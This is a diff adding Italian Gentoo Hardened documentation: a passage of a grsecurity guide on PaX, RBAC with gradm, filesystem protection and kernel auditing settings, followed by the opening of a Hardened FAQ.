+ma non limitandosi a, grsecurity.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurazione del Kernel</title>
+<body>
+
+<p>
+In questo documento vogliamo parlare della configurazione del kernel parlando
+in termini di variabili del kernel quali
+<c>CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS</c>. Queste sono le variabili che il
+processo di compilazione del kernel usa per determinare se certe carateristiche
+devono o meno essere compilate.
+</p>
+
+<p>
+Quando si procede alla configurazione del kernel attraverso <c>make
+menuconfig</c> o simili si riceve una interfaccia utente attraverso la quale
+è possibile selezionare le varie opzioni del kernel. Se si selezione il bottone
+di <e>Help</e> su qualsiasi caratteristica del kernel è possibile vedere nella
+parte superiore della schermata la corrispettiva variabile.
+</p>
+
+<p>
+È possibile configurare il kernel in qualsiasi maniera si voglia, con un minimo
+di raziocinio, e se risulta difficile trovare alcune opzioni si può sempre
+modificare <path>/usr/src/linux/.config</path> a mano :)
+</p>
+
+<p>
+Ovviamente per essere in grado di selezionare le varie opzioni grsecurity del
+kernel è necessario abilitare grsecurity nel proprio kernel:
+</p>
+
+<pre caption="Attivare grsecurity">
+CONFIG_GRKERNSEC=y
+CONFIG_GRKERNSEC_CUSTOM=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PaX</title>
+<section>
+<title>Combattere lo sfruttamento dei bug del software</title>
+<body>
+
+<p>
+PaX introduce una coppia di meccanismi di sicurezza che rende difficile per
+degli attaccanti sfruttare bug che coinvolgano la corruzione della memoria
+(quindi non trattare PaX come se proteggesse da tutti i bug). Il <uri
+link="http://pax.grsecurity.net/docs/pax.txt">documento di introduzione a
+PaX</uri> parla di tre possibili tecniche di exploit:
+</p>
+
+<ol>
+  <li>introdurre/eseguire codice arbitrario</li>
+  <li>
+    eseguire codice esistente al di fuori del normale flusso di esecuzione del
+    programma originale
+  </li>
+  <li>
+    eseguire codice esistente nel normale flusso di esecuzione del programma
+    originale con dati arbitrari
+  </li>
+</ol>
+
+<p>
+Un metodo di prevenzione impedisce che il codice eseguibile possa essere
+memorizzato in aree di memoria scrivibile. Un processo richiede cinque
+differenti regioni di memoria
+</p>
+
+<ol>
+  <li>
+    Una <e>sezione dati</e>  che contiene dati globali e allocati staticamente
+  </li>
+  <li>
+    Una <e>regione BSS</e> (Block Started by Symbol) che contiene informazioni
+    i dati zero-initialized del processo.
+  </li>
+  <li>
+    Una <e>regione codice,</e> chiamata anche <e>segmento testo</e>, che
+    contiene le istruzioni eseguibili.
+  </li>
+  <li>
+    Un <e>heap</e> che contiene la memoria allocata dinamicamente.
+  </li>
+  <li>
+    Uno <e>stack</e> che contiene le variabili locali.
+  </li>
+</ol>
+
+<p>
+Il primo metodo di prevenzione di Pax, chiamato <b>NOEXEC</b>, ha come scopo
+quello di fornire del controllo sulla generazione a runtime di codice
+eseguibile. Le pagine di memoria che non contengono codice eseguibile vengono
+marcate come non-eseguibili. Questo significa che heap e stack, che contengono
+solo dati e non dovrebbero contenere codice eseguibile, sono marcati come
+non-eseguibili. Gli exploit che inseriscono del codice in questa area con
+l'intento di mandarlo in esecuzione falliranno.
+</p>
+
+<p>
+In realtà NOEXEC fa più di questo, i lettori interessati possono soddisfare
+la loro curiosità leggendo la <uri
+link="http://pax.grsecurity.net/docs/noexec.txt">Documentazione PaX
+NOEXEC</uri>.
+</p>
+
+<p>
+Il secondo metodo di prevenzione di Pax, chiamato <b>ASLR</b> (Address Space
+Layout Randomization), rende casuali gli indirizzi dati alle richieste di
+memoria. Mentre precedentemente la memoria veniva assegnata sequenzialmente (il
+che significa che gli exploit sanno dove le regioni di memoria di un processo
+sono situate) ASLR rende casuali questa allocazione, rendendo vane le tecniche
+che contano su queste informazione.
+</p>
+
+<p>
+Sono disponibili altre informazioni <uri
+link="http://pax.grsecurity.net/docs/aslr.txt">online</uri> su ASLR.
+</p>
+
+</body>
+</section>
+<section>
+<title>Abilitare PaX</title>
+<body>
+
+<p>
+Le impostazioni del kernel raccomandate per PaX sono:
+</p>
+
+<pre caption="Configurazione del kernel raccomandata per PaX">
+<comment>#
+# Controllo PaX
+#
+# CONFIG_GRKERNSEC_PAX_SOFTMODE is not set</comment>
+CONFIG_GRKERNSEC_PAX_EI_PAX=y
+CONFIG_GRKERNSEC_PAX_PT_PAX_FLAGS=y
+CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS=y
+<comment># CONFIG_GRKERNSEC_PAX_HAVE_ACL_FLAGS is not set
+# CONFIG_GRKERNSEC_PAX_HOOK_ACL_FLAGS is not set
+
+#
+# Protezione dello spazio degli indirizzi
+#</comment>
+CONFIG_GRKERNSEC_PAX_NOEXEC=y
+<comment># CONFIG_GRKERNSEC_PAX_PAGEEXEC is not set</comment>
+CONFIG_GRKERNSEC_PAX_SEGMEXEC=y
+CONFIG_GRKERNSEC_PAX_EMUTRAMP=y
+CONFIG_GRKERNSEC_PAX_MPROTECT=y
+<comment># CONFIG_GRKERNSEC_PAX_NOELFRELOCS is not set</comment>
+CONFIG_GRKERNSEC_PAX_ASLR=y
+CONFIG_GRKERNSEC_PAX_RANDKSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDUSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDMMAP=y
+CONFIG_GRKERNSEC_PAX_RANDEXEC=y
+<comment># CONFIG_GRKERNSEC_KMEM is not set
+# CONFIG_GRKERNSEC_IO is not set</comment>
+CONFIG_GRKERNSEC_PROC_MEMMAP=y
+CONFIG_GRKERNSEC_HIDESYM=y
+</pre>
+
+<p>
+Se si sta utilizzando un sistema non-x86 si osserva che
+CONFIG_GRKERNSEC_PAX_NOEXEC è assente. Si dovrebbe, quindi, selezionare
+CONFIG_GRKERNSEC_PAX_PAGEEXEC poichè è l'unica implementazione non-exec
+disponibile.
+</p>
+
+</body>
+</section>
+<section>
+<title>Controllare PaX</title>
+<body>
+
+<p>
+Non tutte le applicazioni Linux sono felici delle restrizioni imposte da
+PaX, per esempio xorg-x11, java, mplayer, xmms e altri. Se si sta pensando di
+usarli si può elevare la protezione per queste applicazioni usando <c>chpax</c>
+e <c>paxctl</c>.
+</p>
+
+<pre caption="Installare le utilità chpax e paxctl">
+# <i>emerge sys-apps/chpax</i>
+# <i>emerge sys-apps/paxctl</i>
+</pre>
+
+<p>
+chpax fornisce uno script di inizializzazione che gestisce per noi le
+impostazioni  per le applicazioni maggiormente conosciute:
+</p>
+
+<pre caption="Aggiungere lo script di inizializzazione chpax al runlevel di
+default">
+# <i>rc-update add chpax default</i>
+</pre>
+
+<p>
+<c>pax-utils</c> è una piccola "cassetta degli attrezzi" che contiene
+applicazioni utili per amministrare un server PaX.
+</p>
+
+<pre caption="Installare pax-utils">
+# <i>emerge pax-utils</i>
+</pre>
+
+<p>
+Alcuni strumenti interessanti includono <c>scanelf</c> e <c>pspax</c>:
+</p>
+
+<ul>
+  <li>
+    Con <c>scanelf</c> è possibile effettuare una scansione attraverso directory
+    di librerie e file binari ed elencare i vari permessi e tipi ELF che
+    riguardano l'esecuzione di un setup ideale pax/grsec.
+  </li>
+  <li>
+    Con <c>pspax</c> si possono visualizzare i flags/capabilities/xattr dal
+    punto di vista del kernel.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Verificare le impostazioni di PaX</title>
+<body>
+
+<p>
+Peter Busser ha scritto una raccolta di test di regressione chiamata
+<c>paxtest</c>. Questo strumento ha lo scopo di testare vari casi di possibili
+vettori di attacco e comunicarne i risultati. Quando lo si esegue questo crea
+un file di log chiamato <path>paxtest.log</path> nella directory corrente di
+lavoro.
+</p>
+
+<pre caption="Installare ed seguire paxtest">
+# <i>emerge paxtest</i>
+
+# <i>paxtest</i>
+Executable anonymous mapping             : Killed
+Executable bss                           : Killed
+Executable data                          : Killed
+Executable heap                          : Killed
+Executable stack                         : Killed
+Executable anonymous mapping (mprotect)  : Killed
+Executable bss (mprotect)                : Killed
+Executable data (mprotect)               : Killed
+Executable heap (mprotect)               : Killed
+Executable stack (mprotect)              : Killed
+Executable shared library bss (mprotect) : Killed
+Executable shared library data (mprotect): Killed
+Writable text segments                   : Killed
+Anonymous mapping randomisation test     : 16 bits (guessed)
+Heap randomisation test (ET_EXEC)        : 13 bits (guessed)
+Heap randomisation test (ET_DYN)         : 25 bits (guessed)
+Main executable randomisation (ET_EXEC)  : 16 bits (guessed)
+Main executable randomisation (ET_DYN)   : 17 bits (guessed)
+Shared library randomisation test        : 16 bits (guessed)
+Stack randomisation test (SEGMEXEC)      : 23 bits (guessed)
+Stack randomisation test (PAGEEXEC)      : No randomisation
+Return to function (strcpy)              : Vulnerable
+Return to function (memcpy)              : Vulnerable
+Return to function (strcpy, RANDEXEC)    : Killed
+Return to function (memcpy, RANDEXEC)    : Killed
+Executable shared library bss            : Killed
+Executable shared library data           : Killed
+</pre>
+
+<p>
+Nel Precedente esempio si vede che:
+</p>
+
+<ul>
+  <li>
+    strcpy e memcpy sono elencate come <e>Vulnerabili</e>. Questo è un risultato
+    atteso e normale - sta semplicemente mostrando le necessità per una
+    tecnologia come ProPolice/SSP
+  </li>
+  <li>
+    Non c'è "randomisation" (casualità) per PAGEEXEC. Questo è normale poichè,
+    come suggerito, la configurazione del kernel per x86 non ha attiva
+    l'impostazione PAGEEXEC. Tuttavia su architetture che supportano un reale
+    NX (non-executable) bit (la maggior parte, incluso x86_64), PAGEEXEC è il
+    solo metodo disponibile per NOEXEC e non va penalizzare le prestazioni.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RBAC</title>
+<section>
+<title>Role Based Access Control</title>
+<body>
+
+<p>
+Ci sono due meccanismi di base per il controllo degli accessi usati per
+prevenire accessi non autorizzati ai file (o informazioni in generale): DAC
+(Discretionary Access Control) e MAC (Mandatory Access Control). Linux usa in
+modo predefinito il meccanismo DAC: il creatore di un file può decidere chi ha
+accesso al file stesso. Un sistema MAC forza chiunque a seguire delle regole
+impostate dall'amministratore.
+</p>
+
+<p>
+L'implementazione di MAC che grsecurity supporta si chiama Role Based Access
+Control. RBAC associa dei <e>ruoli</e> con ogni utente. Ogni ruolo definisce
+quali operazioni possono essere fatte su determinati oggetti. Dato un insieme
+ben formato di ruoli ed operazioni i propri utenti saranno costretti ad
+effettuare solo quelle attività che gli sono state permesse. La regola
+predefinita "deny-all" assicura che un utente non possa eseguire azioni alle
+quali non si era pensato.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurare il Kernel</title>
+<body>
+
+<p>
+La configurazione del Kernel raccomandata per RBAC è:
+</p>
+
+<pre caption="Configurazione raccomandata del Kernel per RBAC">
+<comment>#
+# Role Based Access Control Options
+#</comment>
+CONFIG_GRKERNSEC_ACL_HIDEKERN=y
+CONFIG_GRKERNSEC_ACL_MAXTRIES=3
+CONFIG_GRKERNSEC_ACL_TIMEOUT=30
+</pre>
+
+</body>
+</section>
+<section>
+<title>Lavorare con gradm</title>
+<body>
+
+<p>
+<c>gradm</c> è uno strumento che consente di amministrare e mantenere una policy
+per il proprio sistema. Con esso è possibile abilitare o disabilitare il sistema
+RBAC, rileggere i ruoli RBAC, cambiare il vostro ruolo, impostare una password
+per la modalità admin, etc.
+</p>
+
+<p>
+Quando si installa <c>gradm</c> viene installata una policy predefinita in
+<path>/etc/grsec/policy</path>:
+</p>
+
+<pre caption="Installare gradm">
+# <i>emerge gradm</i>
+</pre>
+
+<p>
+Le policy RBAC non sono attivate in modo predefinito. È compito
+dell'amministratore di sistema decidere quando il sistema stesso debba
+seguire una politica di RBAC, invece che di Gentoo. Prima di attivare il sistema
+RBAC bisogna impostare una password per l'amministratore.
+</p>
+
+<pre caption="Attivare il sistema RBAC">
+# <i>gradm -P</i>
+Setting up grsecurity RBAC password
+Password: <comment>(Inserire una password appropriata)</comment>
+Re-enter Password: <comment>(Reinserire la stessa password per conferma)</comment>
+Password written in /etc/grsec/pw
+# <i>gradm -E</i>
+</pre>
+
+<p>
+Per disabilitare il sistema RBAC bisogna eseguire <c>gradm -D</c>. Se non si è
+autorizzati è necessario prima passare al ruolo di amministratore:
+</p>
+
+<pre caption="Disabilitare il sistema RBAC">
+# <i>gradm -a admin</i>
+Password: <comment>(Inserire la propria password da amministratore)</comment>
+# <i>gradm -D</i>
+</pre>
+
+<p>
+Per lasciare il ruolo di amministratore eseguire <c>gradm -u admin</c>:
+</p>
+
+<pre caption="Uscire dal ruolo di amministratore">
+# <i>gradm -u admin</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Creare una Policy</title>
+<body>
+
+<p>
+Il sistema RBAC inizia con una caratteristica simpatica chiamata "learning
+mode". Il learning mode  può generare una policy iniziale con i minimi privilegi
+per il proprio sistema. Questo è stato pensato per risparmiare tempo e soldi
+rendendo possibile il rapido dispiego di molteplici server sicuri.
+</p>
+
+<p>
+Per utilizzare il learning mode è necessario attivarlo usando <c>gradm</c>:
+</p>
+
+<pre caption="Attivare il learning mode di RBAC">
+# <i>gradm -F -L /etc/grsec/learning.log</i>
+</pre>
+
+<p>
+Adesso usiamo il nostro sistena facendo le cose che faremmo normalmente.
+Cerchiamo di evitare operazioni di rsync, eseguire il locate e ogni altra
+operazione che faccio uso pesante dell'I/O e che possa rallentare il tempo si
+processamento.
+</p>
+
+<p>
+Quando si ritiene di aver usato sufficientemente il proprio sistema per ottenere
+una buona policy autorizziamo il processo <c>gradm</c> stesso e suggeriamo ruoli
+in <path>/etc/grsec/learning.roles</path>:
+</p>
+
+<pre caption="Processamento dei log del learning mode">
+# <i>gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles</i>
+</pre>
+
+<p>
+Verificare <path>/etc/grsec/learning.roles</path> e salvarlo in
+<path>/etc/grsec/policy</path> (permessi 0600) una volta terminato.
+</p>
+
+<pre caption="Salvare le policy">
+# <i>mv /etc/grsec/learning.roles /etc/grsec/policy</i>
+# <i>chmod 0600 /etc/grsec/policy</i>
+</pre>
+
+<p>
+Adesso si dovrebbe essere in grado di abilitare il prorpio sistema RBAC con le
+policy apprese.
+</p>
+
+</body>
+</section>
+<section>
+<title>Perfezionare la propria policy</title>
+<body>
+
+<p>
+Una interessante caratteristica di grsecurity2.x è <e>Set Operation Support</e>
+per il file di configurazione. Attualmente sono supportate unioni, intersezioni
+e differenza tra insiemi (di oggetti in questo caso).
+</p>
+
+<pre caption="Insiemi di esempio">
+define objset1 {
+/root/blah rw
+/root/blah2 r
+/root/blah3 x
+}
+
+define somename2 {
+/root/test1 rw
+/root/blah2 rw
+/root/test3 h
+}
+</pre>
+
+<p>
+Questo è un esempio del suo uso e gli oggetti risultanti che saranno aggiunti al
+vostro soggetto:
+</p>
+
+<pre caption="Esempio dell'operatore &amp;">
+subject /somebinary o
+$objset1 &amp; $somename2
+</pre>
+
+<p>
+Quanto sopra si espanderebbe in:
+</p>
+
+<pre caption="Setting dei soggetti risultanti">
+subject /somebinary o
+/root/blah2 r
+</pre>
+
+<p>
+Questo è il risultato dell'operatore &amp; che prende entrambi gli insiemi e
+restituisce i file che esistono contemporaneamente in entrambi gli insiemi e i
+relativi permessi.
+</p>
+
+<pre caption="Esempio dell'operatore |">
+subject /somebinary o
+$objset1 | $somename2
+</pre>
+
+<p>
+Questo esempio sarebbe equivalente a:
+</p>
+
+<pre caption="Impostazioni degli soggetti risultanti">
+subject /somebinary o
+/root/blah rw
+/root/blah2 rw
+/root/blah3 x
+/root/test1 rw
+/root/test3 h
+</pre>
+
+<p>
+Questo è il risultato dell'operatore | che prende entrambi gli insiemi e
+restituisce i file che esistono in un solo insieme. Se il file dovesse esistere
+in entrambi gli insiemi questo viene ugualmente restituito e il mode contiene le
+flag che esistono in un solo insieme.
+</p>
+
+<pre caption="Esempio dell'operatore - ">
+subject /somebinary o
+$objset1 - $somename2
+</pre>
+
+<p>
+Questo esempio sarebbe equivalente a:
+</p>
+
+<pre caption="Impostazioni dei soggetti risultanti">
+subject /somebinary o
+/root/blah rw
+/root/blah2 h
+/root/blah3 x
+</pre>
+
+<p>
+Questo è il risultato dell'operatore - che prende i due insiemi e restituisce il
+file che esiste nell'insieme di sinistra ma non nella corrispondenza con il file
+nell'insieme di destra. Se il file esiste nell'insieme di sinistra e viene
+trovato una corrispondenza a destra (il nome del file è lo stesso o una
+directory padre esiste nell'insieme di destra), il file viene restituito e il
+mode del secondo insieme è rimosso dal primo insieme, e quel file viene
+restituito.
+</p>
+
+<p>
+In un qualche oscuro pseudo-linguaggio questo potrebbe essere visto come:
+</p>
+
+<pre caption="Spiegazione con pseudo-linguaggio">
+if ( (<i>$objset1</i> contiene <i>/tmp/blah rw</i>) e
+     (<i>$objset2</i> contiene <i>/tmp/blah r</i>) )
+then
+  <i>$objset1 - $objset2</i> dovrebbe contenere <i>/tmp/blah w</i>
+
+if ( (<i>$objset1</i> contiene <i>/tmp/blah rw</i>) and
+     (<i>$objset2</i> contiene <i>/ rwx</i>) )
+then
+  <i>$objset1 - $objset2</i> dovrebbe contenere <i>/tmp/blah h</i>
+</pre>
+
+<p>
+Per quanto riguarda l'ordine di precedenza (dalla più alta alla più bassa): "-,
+&amp; |".
+
+</p>
+
+<p>
+Se non si vuole avere la seccatura di ricordare le precedenze è stato incluso
+il supporto per le parentesi, cosi si possono scrivere espressioni come:
+</p>
+
+<pre caption="Esempio di parentesi">
+(($set1 - $set2) | $set3) &amp; $set4
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Protezione del FileSystem</title>
+<section>
+<title>Combattere Chroot e abusi del filesystem</title>
+<body>
+
+<p>
+Grsecurity2 include diverse patch che impediscono agli utenti di guadagnare
+conoscenze non necessarie riguardo al sistema. Questo include restrizione
+sull'uso di <path>/proc</path>, sul chrooting, sul linking ecc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurazione del kernel</title>
+<body>
+
+<p>
+Per la protezione del filesystem si raccomanda la seguente configurazione del
+grsecurity kernel
+</p>
+
+<pre caption="Attivare la Filesystem Protection">
+<comment>#
+# Filesystem Protections
+#</comment>
+CONFIG_GRKERNSEC_PROC=y
+<comment># CONFIG_GRKERNSEC_PROC_USER is not set</comment>
+CONFIG_GRKERNSEC_PROC_USERGROUP=y
+CONFIG_GRKERNSEC_PROC_GID=10
+CONFIG_GRKERNSEC_PROC_ADD=y
+CONFIG_GRKERNSEC_LINK=y
+CONFIG_GRKERNSEC_FIFO=y
+CONFIG_GRKERNSEC_CHROOT=y
+CONFIG_GRKERNSEC_CHROOT_MOUNT=y
+CONFIG_GRKERNSEC_CHROOT_DOUBLE=y
+CONFIG_GRKERNSEC_CHROOT_PIVOT=y
+CONFIG_GRKERNSEC_CHROOT_CHDIR=y
+CONFIG_GRKERNSEC_CHROOT_CHMOD=y
+CONFIG_GRKERNSEC_CHROOT_FCHDIR=y
+CONFIG_GRKERNSEC_CHROOT_MKNOD=y
+CONFIG_GRKERNSEC_CHROOT_SHMAT=y
+CONFIG_GRKERNSEC_CHROOT_UNIX=y
+CONFIG_GRKERNSEC_CHROOT_FINDTASK=y
+CONFIG_GRKERNSEC_CHROOT_NICE=y
+CONFIG_GRKERNSEC_CHROOT_SYSCTL=y
+CONFIG_GRKERNSEC_CHROOT_CAPS=y
+</pre>
+
+</body>
+</section>
+<section>
+<title>Attivare il meccanismo di sicurezza</title>
+<body>
+
+<p>
+Quando si usa un kernel compilato con le precedenti impostazioni (o comunque con
+impostazioni simili) è possibile abilitare/disabilitare molte delle opzioni
+attraverso <path>/proc</path> filesystem o via <c>sysctl</c>.
+</p>
+
+<p>
+L'esempio seguente mostra un frammento di un tipico
+<path>/etc/sysctl.conf</path>:
+</p>
+
+<pre caption="Esempio di impostazioni all'interno di /etc/sysctl.conf">
+kernel.grsecurity.chroot_deny_sysctl = 1
+kernel.grsecurity.chroot_caps = 1
+kernel.grsecurity.chroot_execlog = 0
+kernel.grsecurity.chroot_restrict_nice = 1
+kernel.grsecurity.chroot_deny_mknod = 1
+kernel.grsecurity.chroot_deny_chmod = 1
+kernel.grsecurity.chroot_enforce_chdir = 1
+kernel.grsecurity.chroot_deny_pivot = 1
+kernel.grsecurity.chroot_deny_chroot = 1
+kernel.grsecurity.chroot_deny_fchdir = 1
+kernel.grsecurity.chroot_deny_mount = 1
+kernel.grsecurity.chroot_deny_unix = 1
+kernel.grsecurity.chroot_deny_shmat = 1
+</pre>
+
+<p>
+È possibile abilitare o disabilitare le impostazioni anche usando il comando
+<c>sysctl</c>:
+</p>
+
+<pre caption="Abilitare le impostazioni di sysctl">
+<comment>(Attivare la caratteristca exec_logging)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 1</i>
+<comment>(Disattivare la caratteristica exec_logging</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 0</i>
+</pre>
+
+<p>
+C'è un'impostazione di sysctl veramente importante appartenente a grsecurity,
+denominato <c>kernel.grsecurity.grsec_lock</c>. Se abilitata non si ha la
+possibilità di modificare nessun'altra impostazione.
+</p>
+
+<pre caption="Interfaccia per il blocco di sysctl">
+# <i>sysctl -w kernel.grsecurity.grsec_lock = 1</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Verifica del Kernel</title>
+<section>
+<title>Estendere la facilità di logging del proprio sistema</title>
+<body>
+
+<p>
+grsecurity fornisce funzionalità aggiuntive al kernel inerenti al logging. Con
+il <e>Kernel Auditing</e> di grsecurity il kernel ci informa quando una
+applicazione è stata avviata, quando un device viene montato, etc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Le varie impostazioni per il Kernel Audit</title>
+<body>
+
+<p>
+La seguente configurazione del kernel può essere usata per abilitare il Kernel
+Audit di grsecurity:
+</p>
+
+<pre caption="Attivare il Kernel Auditing">
+<comment>#
+# Kernel Auditing
+#
+# CONFIG_GRKERNSEC_AUDIT_GROUP is not set</comment>
+CONFIG_GRKERNSEC_EXECLOG=y
+CONFIG_GRKERNSEC_RESLOG=y
+CONFIG_GRKERNSEC_CHROOT_EXECLOG=y
+CONFIG_GRKERNSEC_AUDIT_CHDIR=y
+CONFIG_GRKERNSEC_AUDIT_MOUNT=y
+CONFIG_GRKERNSEC_AUDIT_IPC=y
+CONFIG_GRKERNSEC_SIGNAL=y
+CONFIG_GRKERNSEC_FORKFAIL=y
+CONFIG_GRKERNSEC_TIME=y
+CONFIG_GRKERNSEC_PROC_IPADDR=y
+CONFIG_GRKERNSEC_AUDIT_TEXTREL=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Restrizioni per i processi</title>
+<section>
+<title>Protezione degli eseguibili</title>
+<body>
+
+<p>
+Con grsecurity è possibile imporre restrizioni agli eseguibili. Poichè la
+maggior parte degli exploit lavorano attraverso uno o più processi attivi questa
+protezione può preservare la salute del proprio sistema.
+</p>
+
+</body>
+</section>
+<section>
+<title>Protezione di rete</title>
+<body>
+
+<p>
+Lo stack TCP/IP di Linux è vulnerabile ad attacchi di tipo prediction-based.
+grsecurity include una patch "randomizzatrice" per evitare questo tipo di
+attacchi. Oltre a questo si possono comunque abilitare delle restrizioni sui
+socket, respingendo l'accesso da parte di un gruppo di reti tutte insieme.
+</p>
+
+</body>
+</section>
+<section>
+<title>Settaggi del kernel</title>
+<body>
+
+<p>
+I seguenti settaggi abilitano diverse protezioni sia per gli eseguibili che
+di rete:
+</p>
+
+<pre caption="Impostazioni del kernel">
+<comment>#
+# Protezione per gli eseguibili
+#</comment>
+CONFIG_GRKERNSEC_EXECVE=y
+CONFIG_GRKERNSEC_DMESG=y
+CONFIG_GRKERNSEC_RANDPID=y
+CONFIG_GRKERNSEC_TPE=y
+CONFIG_GRKERNSEC_TPE_ALL=y
+CONFIG_GRKERNSEC_TPE_GID=100
+
+<comment>#
+# Protezione di rete
+#</comment>
+CONFIG_GRKERNSEC_RANDNET=y
+CONFIG_GRKERNSEC_RANDISN=y
+CONFIG_GRKERNSEC_RANDID=y
+CONFIG_GRKERNSEC_RANDSRC=y
+CONFIG_GRKERNSEC_RANDRPC=y
+<comment># CONFIG_GRKERNSEC_SOCKET is not set</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>La Toolchain Hardened</title>
+<section>
+<body>
+
+<p>
+Sebbene questo esuli dallo scopo di questo articolo, si vuole menzionare l'uso
+dell'hardened toolchain che completa l'uso del modello grsec/PaX da userspace.
+Come primo assaggio si può usare
+</p>
+
+<pre caption="Usare hardened toolchain">
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/hardened/x86 make.profile</i>
+# <i>emerge -e world</i>
+</pre>
+
+<p>
+Se non si vuole usare questo profilo è possibile aggiungere le flag USE
+<c>hardened pic</c> nella variabile USE del proprio <path>/etc/make.conf</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risorse</title>
+<section>
+<body>
+
+<ul>
+  <li><uri link="http://grsecurity.net/">Grsecurity Homepage</uri></li>
+  <li><uri link="http://forums.grsecurity.net/">Grsecurity Forum</uri></li>
+  <li>
+    <uri link="http://grsecurity.net/researchpaper.pdf">Incrementare le
+    prestazioni e la granularità nei Role-Based Access Control Systems</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/hardened/capabilities.xml">Nomi e
+    descrizioni delle Capability</uri>
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/quickstart.pdf">Grsecurity Quick-Start
+    Guide</uri> (Nuovo .pdf)
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/it/hardened/pax-quickstart.xml">Guida
+    rapida per PaX su Gentoo Hardened</uri> (NEW)
+  </li>
+  <li>
+    <uri link="http://hardened.gentoo.org/grsecurity.xml">Grsecurity con
+    Gentoo 1.9.x MAC system</uri> (OLD)
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/PaX-presentation_files/frame.htm">PaX: La
+    fine garantita dell'esecuzione di codice arbitrario</uri>
+  </li>
+  <li>
+    <uri link="http://pax.grsecurity.net">PaX HomePage e documentazione</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/infrastructure/tenshi">Tenshi</uri>
+  </li>
+</ul>
+
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/hardenedfaq.xml b/xml/htdocs/proj/it/hardened/hardenedfaq.xml
new file mode 100644
index 00000000..0a4d64c5
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/hardenedfaq.xml
@@ -0,0 +1,650 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/hardenedfaq.xml,v 1.6 2010/08/25 21:21:21 scen Exp $ -->
+
+<guide link="/proj/it/hardened/hardenedfaq.xml" lang="it">
+<title>Domande frequenti su Gentoo Hardened</title>
+
+<author title="Autore">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Collaborazione">
+  <mail link="pageexec@freemail.hu">Il Team PaX</mail>
+</author>
+<author title="Traduzione">
+  <mail link="nsr2@tiscali.it">Paolo Palana</mail>
+</author>
+
+<abstract>
+Domande poste frequentemente sul canale IRC #gentoo-hardened e sulla mailing
+list gentoo-hardened.
+</abstract>
+
+<version>1.9</version>
+<date>2006-02-18</date>
+
+<chapter>
+<title>Domande</title>
+<section>
+<title>Generali</title>
+<body>
+
+<ul>
+  <li><uri link="#toolchain">Cos'è esattamentte una "toolchain"?</uri></li>
+  <li>
+    <uri link="#whichisbetter">Cosa dovrei usare: grsecurity, RSBAC o
+    SELinux?</uri>
+  </li>
+  <li>
+    <uri link="#aclall">È possibile usare grsecurity, RSBAC, SELinux e PaX tutti
+    contemporaneamente?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflags">È necessario passare alcune flag a
+    LDFLAGS/CFLAGS per abilitare la compilazione PIE/SSP?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflagsoff">Come posso disabilitare la compilazione
+    PIE/SSP?</uri>
+  </li>
+  <li>
+    <uri link="#fsexec">La compilazione del mio kernel fallisce con
+    l'errore "error: structure has no member named `curr_ip'", come posso
+    correggere ciò?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedproject">Ho appena scoperto il progetto hardened, devo
+    installare tutto quello che trovo sulla pagina del progetto prima di
+    installare Hardened Gentoo?</uri>
+  </li>
+  <li>
+    <uri link="#Othreessp">Perchè i miei programmi non vanno quando uso
+    CFLAGS="-O3" e hardened gcc?</uri>
+  </li>
+  <li>
+    <uri link="#cascadebootstrap">Che cosa è accaduto a
+    bootstrap-cascade.sh?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedprofile">Come posso passare al profilo hardened?</uri>
+  </li>
+  <li>
+    <uri link="#hardeneddebug">Come faccio il debug con gdb?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>PaX</title>
+<body>
+
+<ul>
+  <li><uri link="#paxinformation">Qual'è l'homepage di PaX?</uri></li>
+  <li>
+    <uri link="#paxgentoodoc">Quale documentazione Gentoo esiste riguardo
+    PaX?</uri>
+  </li>
+  <li>
+    <uri link="#paxnoelf">Continuo ad ottenere il messaggio: "error while
+    loading shared libraries: cannot make segment writable for relocation:
+    Permission denied." Che cosa significa?</uri>
+  </li>
+  <li>
+    <uri link="#paxjava">Da quando ho iniziato ad usare PaX Java non funziona,
+    perchè?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>grsecurity</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#grsecinformation">Qual'è l'home page di grsecurity?</uri>
